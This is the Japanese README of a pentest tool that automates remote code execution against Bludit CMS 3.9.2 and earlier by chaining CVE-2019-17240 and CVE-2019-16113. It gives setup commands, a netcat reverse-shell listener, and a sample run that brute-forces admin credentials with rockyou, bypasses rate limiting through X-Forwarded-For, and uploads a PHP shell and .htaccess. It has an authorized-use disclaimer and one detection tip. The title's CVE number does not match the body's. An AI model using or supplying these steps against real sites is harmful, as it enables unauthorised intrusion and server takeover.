
cve-2016-16113
_ _____ ___ _
__| |___ /_ ___ __ / _ \ _ __ ___ (_)
/ _` | |_ \ \ / / '_ \| | | | '_ ` _ \| |
| (_| |___) \ V /| | | | |_| | | | | | | |
\__,_|____/ \_/ |_| |_|\___/|_| |_| |_|_|
CVE-2019-17240(認証バイパス)とCVE-2019-16113(任意ファイルアップロード)を組み合わせ、脆弱性のあるBludit CMSインストールに対してリモートコード実行を達成する自動化エクスプロイトツール。
認可されたセキュリティテストのみを対象としています
このツールは、認可されたペネトレーションテストを実施するセキュリティ専門家、および法的境界内で活動するセキュリティ研究者を対象としています。コンピュータシステムへの不正アクセスは、米国のComputer Fraud and Abuse Act(CFAA)や世界各国の同様の法律により違法とされています。
このツールを使用することで、あなたは以下に同意したものとみなされます:
作者は一切の責任を負わず、このツールの誤用または損害についても責任を負いません。
このエクスプロイトは以下のプロセスを自動化します:
影響を受けるバージョン: Bludit CMS 3.9.2 以下
requests# リポジトリをクローン
git clone https://github.com/yourusername/get-rce.git
cd get-rce
# 依存関係をインストール
pip install -r requirements.txt
requirements.txt:
requests>=2.25.0
python3 get_rce.py
スクリプトは以下を対話的に尋ねます:
https://target.com)エクスプロイトを実行する前に、netcatリスナーをセットアップします:
nc -lvnp 4444
4444 を選択したポートに置き換えてください。
$ python3 get_rce.py
Enter target URL (i.e. https://target.com): http://10.10.10.191
[ ~ ] Enter listener's IP: 10.10.14.5
[ ~ ] Enter listener's port: 4444
[...] Checking if the target is live...
[ + ] The target is live! We are good to go...
[ ~ ] Should I bruteforce username? [Y/N]: N
[ ~ ] What username should I use? (leave this to use admin as username):
[...] We are gonna default to 'admin' as username.
[ ~ ] Enter the location for password list: /usr/share/wordlists/rockyou.txt
[ * ] Tried: 123456
[ * ] Tried: password
[ * ] Tried: 12345678
...
[ + ] Creds found: admin:Password123
[ + ] Login succeed... We are good to go :)
[ + ] The payload XyZaBcDeFg.php has been uploaded...
[ + ] The payload .htaccess has been uploaded...
[...] Attempting to get a shell... @ http://10.10.10.191/bl-content/tmp/XyZaBcDeFg.php
[ + ] You should be getting a shell by now, if not open http://10.10.10.191/bl-content/tmp/XyZaBcDeFg.php
Should I bruteforce username? [Y/N]: N
What username should I use?: admin
Enter the location for password list: /path/to/passwords.txt
Should I bruteforce username? [Y/N]: Y
Enter the location for username wordlist: /path/to/usernames.txt
Enter the location for password wordlist: /path/to/passwords.txt
SecLists: https://github.com/danielmiessler/SecLists
SecLists/Usernames/Names/names.txtSecLists/Passwords/Common-Credentials/10-million-password-list-top-1000.txtRockYou: /usr/share/wordlists/rockyou.txt(Kali Linux)
X-Forwarded-For ヘッダーを操作してレート制限を回避/bl-content/tmp/ にアップロード.htaccess ファイルをアップロードシステム管理者向け:
/bl-content/tmp/ ディレクトリに不審なファイルがないか監視問題: 「The target seems to be down」(ターゲットがダウンしているように見える)
問題: 「Login failed」(ログイン失敗)
問題: 「No shell received」(シェルが受信できない)
d3vn0mi
このプロジェクトは、教育目的および認可されたセキュリティテスト目的のみで提供されます。このREADMEの冒頭にある免責事項を参照してください。
貢献、問題報告、機能リクエストは歓迎します!お気軽に issues ページをご確認ください。